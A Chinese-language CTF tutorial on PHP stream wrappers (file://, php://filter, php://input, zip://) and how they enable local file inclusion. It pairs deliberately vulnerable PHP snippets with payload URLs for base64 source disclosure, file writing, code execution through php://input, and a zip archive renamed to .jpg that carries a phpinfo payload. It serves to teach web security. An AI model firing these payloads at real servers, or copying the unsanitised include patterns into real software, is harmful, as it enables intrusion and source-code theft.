PHP中支持的偽協議
file:// — 訪問本地文件系統 http:// — 訪問 HTTP(s) 網址 ftp:// — 訪問 FTP(s) URLs php:// — 訪問各個輸入/輸出流(I/O streams) zlib:// — 壓縮流 data:// — 數據(RFC 2397) glob:// — 查找匹配的文件路徑模式 phar:// — PHP 歸檔 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音頻流 expect:// — 處理交互式的流
file://協議
PHP.ini:
file:// 協議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用於訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
filebh.php
<?php if(isset($_GET['page'])) { include $_GET['page']; } ?>
file:// [文件的絕對路徑和文件名]
php://協議
php://filter在雙off的情況下也可以正常使用;
條件:
不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。
php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用於讀取源碼,php://input用於執行php代碼。
php://filter
php://filter
是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。
resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流。
read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
<;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用於讀或寫鏈。
可以運用多種過濾器(字符串/轉換/壓縮/加密)
例如平時我們用來任意文件讀取的payload
php://filter/read=convert.base64-encode/resource=upload.php 這里讀的過濾器為convert.base64-encode,就和字面上的意思一樣,把輸入流base64-encode。 resource=upload.php,代表讀取upload.php的內容
這樣就可以以base64編碼的方式讀取文件源代碼
過濾器
過濾器有很多種,有字符串過濾器、轉換過濾器、壓縮過濾器、加密過濾器
<字符串過濾器>
string.rot13 進行rot13轉換 string.toupper 將字符全部大寫 string.tolower 將字符全部小寫 string.strip_tags 去除空字符、HTML 和 PHP 標記后的結果。 功能類似於strip_tags()函數,若不想某些字符不被消除,后面跟上字符,可利用字符串或是數組兩種方式
舉例
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.rot13'); echo "rot13:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.toupper'); echo "Upper:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.tolower'); echo "Lower:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output', 'w'); echo "Del1:"; stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE); fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output', 'w'); echo "Del2:"; stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b>"); fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1')); echo "Del3:"; fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n"); fclose($fp); ?>
實例模擬
<?php $filename=$_GET["a"]; $data="test test"; file_put_contents($filename, $data); ?>
payload=http://127.0.0.1/xxx.php?a=php://filter/write=string.tolower/resource=test.php
可以往服務器中寫入一個文件內容全為小寫且文件名為test.php的文件:
xxx.php
<?php $filename=$_GET["a"]; echo file_get_contents($filename); ?>
ile_get_contents()的$filename參數不僅僅為文件路徑,還可以是一個URL(偽協議)。
payload=http://127.0.0.1/xxx.php?a=php://filter/convert.base64-encode/resource=test.php
test.php的內容以base64編碼的方式顯示出來
xxx.php
<?php $filename=$_GET['a']; $data="test test"; include("$filename"); ?>
payload=http://127.0.0.1/xxx.php?a=php://filter/convert.base64-encode/resource=test.php
同樣可以把test.php的內容以base64編碼的方式顯示出來
雙引號包含的變量$filename會被當作正常變量執行,而單引號包含的變量則會被當作字符串執行。
php://input
php://input 是個可以訪問請求的原始數據的只讀流,可以讀取到post沒有解析的原始數據, 將post請求中的數據作為PHP代碼執行。因為它不依賴於特定的 php.ini 指令。
注:enctype=”multipart/form-data” 的時候 php://input 是無效的。
allow_url_fopen :off/on allow_url_include:on
xxx.php
<?php echo file_get_contents($_GET["a"]); ?>
但是當PHP代碼為:
<?php $test=$_GET['a']; include($test); ?>
並且當遠程包含打開的時候(allow_url_include=on),就可以造成任意代碼執行。
zip://, bzip2://, zlib://協議
zip://, bzip2://, zlib://協議
PHP.ini:
zip://, bzip2://, zlib://協議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
3個封裝協議,都是直接打開壓縮文件。
compress.zlib://file.gz - 處理的是 '.gz' 后綴的壓縮包
compress.bzip2://file.bz2 - 處理的是 '.bz2' 后綴的壓縮包
zip://archive.zip#dir/file.txt - 處理的是 '.zip' 后綴的壓縮包里的文件
zip://, bzip2://, zlib:// 均屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名。
zip://協議
php 版本大於等於 php5.3.0
使用方法:zip://archive.zip#dir/file.txt
zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]**
要用絕對路徑+url編碼#
測試:
新建一個名為zip.txt的文件,內容為<?php phpinfo();?>
,然后壓縮為名為test.zip的zip文件。如果可以上傳zip文件則上傳zip文件,若不能則重命名為test.jpg后上傳。其他幾種壓縮格式也可以這樣操
作。
更名為jpg
payload:http://127.0.0.1/xxx.php?a=zip://C:\Users\liuxianglai\Desktop\test.jpg%23zip.txt
小結: